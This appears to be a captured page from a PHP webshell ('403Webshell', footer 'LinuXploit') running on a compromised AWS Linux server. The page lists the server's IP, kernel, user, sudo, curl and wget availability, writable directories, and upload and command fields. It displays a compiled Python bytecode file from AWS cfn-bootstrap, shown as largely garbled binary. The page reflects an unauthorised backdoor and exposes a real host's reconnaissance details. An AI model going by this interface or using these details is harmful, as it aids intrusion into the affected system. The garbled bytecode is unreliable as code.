403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cfnbootstrap/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cfnbootstrap/__pycache__/zypper_tool.cpython-39.pyc
a

��0i��@sZddlmZddlmZddlmZddlmZddlZee�	d��Z
Gdd�de�ZdS)	�)�RpmTool)�LoggingProcessHelper)�	CfnLogger)�	ToolErrorNzcfn.initc@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)�
ZypperToolz+Install packages use Zypper package managerNc
Csg}|st�d�|Sg}g}|D�]}||rXt||t�rH||}q\t�||�}nd}|durpd�||�n|}|�|�r�t�d�|��q"|�|�s�t�	d�|��t
d�|���q"|dur�|�|�|�|�q"t�|d�\}	}
|�
||
��rt�d�||
��|�|�nt�d�||
��|�|�|�|�q"|�sPt�d	�gS|�r�t�d
�|��tgd�|���}|jdk�r�t�	d
�|j��t
d|j��|�r�t�d�|��tgd�|���}|jdk�r�t�	d
�|j��t
d|j��t�d�||��|S)Nz No packages specified for Zypperz{}-{}z1{} will not be installed as it is already presentz#{} is not available to be installedz2Zypper does not have {} available for installationFz)Upgrading to {} from installed version {}z+Downgarding to {} from installed version {}z*All Zypper packages were already installedz!Installing/updating {} via zypper)�zypper�install�-yrzZypper failed. Output: {}z5Could not successfully install/update zypper packageszDowngrading {} via zypper)rrr	z--oldpackagez--force-resolutionz0Could not successfully downgrade zypper packageszZypper installed {})�log�debug�
isinstance�strrZmax_version�format�_is_package_installed�_is_package_available�errorr�appendZget_package_version�_should_upgrade�infor�call�
returncode�stdout)
�self�actionZauth_configZpackages_changedZpackage_specs_to_upgradeZpackage_specs_to_downgradeZpackage_nameZpackage_versionZ
package_specs�_�installed_versionZupgrade_resultZdowngrade_result�r�</usr/lib/python3.9/site-packages/cfnbootstrap/zypper_tool.py�applys�


����
�
��
���

�
����
����zZypperTool.applycCsh|st�d�dS|s$t�d�dSt�||�}|dkrNt�d�||��dSt�d�||��dSdS)Nz+No requested version passed, try to upgradeTz+No installed version passed, try to upgraderzGRequested version {} is greater than installed version {}, will upgradezMRequested version {} is NOT greater than installed version {}, will downgradeF)r
rrZcompare_rpm_versionsr)rZrequested_package_versionrZversion_comparisonrrrrqs$

���zZypperTool._should_upgradecCs0t�d�|��tdddd|g���}|jdkS)z�
        Check if a package has been installed locally.
        package_key: could be package_name such as "git" or a package name with version such as "git-2.15-2.1"
        z check if {} is already installedr�search�
--match-exactz--installed-onlyr)r
rrrrr�rZpackage_keyZquery_resultrrrr�s
�z ZypperTool._is_package_installedcCs tdddd|g���}|jdkS)z�
        Check if a package is available for installation.
        package_key: could be package_name such as "git" or a package name with version such as "git-2.15-2.1"
        rrr z--not-installed-onlyr)rrrr!rrrr�s�z ZypperTool._is_package_available)N)�__name__�
__module__�__qualname__�__doc__rrrrrrrrrs

U
r)
Zcfnbootstrap.rpm_toolsrZcfnbootstrap.utilrZcfnbootstrap.cfn_loggingrZ cfnbootstrap.construction_errorsrZloggingZ	getLoggerr
�objectrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit